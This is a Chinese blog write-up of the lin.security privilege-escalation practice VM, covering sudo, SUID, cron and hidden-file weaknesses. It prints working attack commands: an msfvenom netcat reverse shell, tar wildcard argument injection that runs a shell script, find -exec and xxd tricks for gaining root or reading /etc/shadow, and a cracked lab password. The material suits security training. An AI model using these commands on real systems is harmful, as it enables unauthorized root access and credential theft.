in.security 提权靶场


in.security 提权靶场


lin.security 靶场 是 Linux 配置问题导致提权的靶场,它基于Ubuntu(18.04 LTS)的 Linux 虚拟机,靶场提供许多权限提升的漏洞供我们练习关于 linux 权限的相关知识,下面是这个靶场的下载链接:
https://in.security/downloads/lin.security_v1.0.ova

用户的 sudo 权限

sudo 其实是很常用的命令了,sudo 权限则是 root 把本来只能超级用户执行的命令赋予普通用户执行,这里的命令指的是系统命令,对于 linux 来说一切皆是文件,所以系统命令也是一个文件。

一般来讲当管理员需要某个用户在执行 root 权限的命令时,会去配置 sudo。具体是修改 /etc/sudoers 这个文件。但是普通用户其实是查看和操作这个文件的,他只能查看自己是否被配置了 sudo 权限。普通用户可以采用 sudo -l 这个命令来查看自己是否有 sudo 配置。

bob 这个用户可以执行很多的命令,利用这些命令可以简单直接提升到 root 权限。

/bin/ash

/usr/bin/awk

查看密码文件 /etc/shadow

/usr/bin/curl

/usr/bin/find

获取shell
find . -exec /bin/sh \; -quit

可以发现,哪怕是 find 这种查找命令被赋予了 sudo,也能提权为 root 权限,只要我们能够巧妙的利用执行这些命令。限于篇幅,就不给出所有命令的利用方式了,我们可以参考资源
https://gtfobins.github.io/ ,里面涵盖了许多可以被利用的命令。

/etc/passwd的哈希

linux 的用户密码哈希存储在 /etc/shadow 这个文件,而这个文件普通用户是无法查看的。而普通用户能够查看到的则是 /etc/passwd 这个文件。如果我们查看 /etc/passwd 通常会看到以下内容:

root:x:0:0:root:/root:/bin/bash

如果有一个账户的第二列是密码哈希,如果该列为 x 则代表密码哈希存储在 /etc/shadow 文件上。而在 lin.security 虚拟机上可以看到像 insecurity 这么一个账户,这个账号的 uidgid 都为0。用类似 Johnny 或者 hash-identifier 会被表示成 descrypt,进而可以被破解出来。

通过查询,可得密码为P@ssw0rd11。

利用定时任务cron以及通配符

每隔1分钟定期执行 /etc/cron.daily/backup 这个文件。

这里涉及到了利用通配符进行 Linux 本地提权,我们需要另开一个 bob 的 ssh 会话。

使用 msfvenom 生成 nc 反弹一句话,命令如下:

root@kali:~# msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=8888 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 91 bytes
mkfifo /tmp/kuhdq; nc 127.0.0.1 8888 0</tmp/kuhdq | /bin/sh >/tmp/kuhdq 2>&1; rm /tmp/kuhdq

然后分别执行:

bob@linsecurity:~$ echo "mkfifo /tmp/kuhdq; nc 127.0.0.1 8888 0</tmp/kuhdq | /bin/sh >/tmp/kuhdq 2>&1; rm /tmp/kuhdq" > shell.sh && chmod +x shell.sh
bob@linsecurity:~$ echo "" > "--checkpoint-action=exec=sh shell.sh"
bob@linsecurity:~$ echo "" > --checkpoint=1

我们在另外一个会话终端开启 nc 监听:

nc -lvnp 8888

–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)
–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION

这里的 –checkpoint-action 选项,用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。因此,选项 –checkpoint=1 和 –checkpoint-action=exec=sh shell.sh 作为命令行选项交给了 tar 程序。

利用隐藏文件

有时候隐藏文件会存放一些重要的信息,比如我们搜索 home 目录下的所有隐藏文件,并用 ls -al 显示出来。

find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

发现了 susan 这个用户有一个 .secret 的隐藏文件,发现里面存放 susan 这个用户的登陆密码。

利用 SUID

方案一

SUID 这个是 uid +s 的组合,s 指的是特殊权限。一般情况下,用户的权限是 3 位,比如 0755 这样的,默认特殊权限没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有 root 的权限,就会配置特殊权限。
比如说 passwd 这个命令,这个命令会修改 /etc/shadow 文件,而 /etc/shadow 只有 root 才能修改,本来 passwd 这个命令应该也只能 root 才能执行的。但是系统为了让普通用户能够修改自己的密码,对 passwd 这个命令赋予了特殊权限并添加了只能修改自己密码的限制。

由于 passwd 这个命令是做过限制的,所以赋予特殊权限是没有问题的,但是如果系统超级用户特殊权限乱用,就会导致提权的问题。
那我们怎么去寻找系统是否存在特殊权限配置的文件呢?可以使用如下命令快速查找所有 SUID 文件:

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

我们发现了如下一个文件 xxd。这个文件其实是命令文件,xxd 的作用是将一个文件以 16 进制的形式显示出来。他被配置了特殊权限,并且用户组为 itservices 是拥有执行权限 x 的。

这就很危险了,一旦 suid 和执行权限在一起就可能导致权限提升。

我们通过命令查看发现 susan 这个用户属于 itservices 这个用户组。

我们用它来查看 /etc/shadow 这个文件,更多利用方法可以参考https://gtfobins.github.io/gtfobins/xxd/.

xxd "/etc/shadow" | xxd -r

find /dir -exec "command" 同样的提权效果。

方案二

除了上述的文件外,还发现了一个 other 角色拥有执行权限的文件,这个文件不限用户,所以危害更大。

参考https://gtfobins.github.io/gtfobins/taskset/#suid-enabled,发现该文件可以直接获取shell。


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Apache Shiro padding oracle attack漏洞复现 Apache Shiro padding oracle attack漏洞复现
Apache Shiro padding oracle attack漏洞复现Shiro 使用了 AES-128-CBC 模式对 cookie 进行加密,导致恶意用户可以通过 padding oracle 攻击方式构造序列化数据进行反序列化攻
2019-11-18
下一篇 
PHP-FPM 远程代码执行漏洞(CVE-2019-11043) PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
PHP-FPM 远程代码执行漏洞(CVE-2019-11043)在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返
2019-10-24
  目录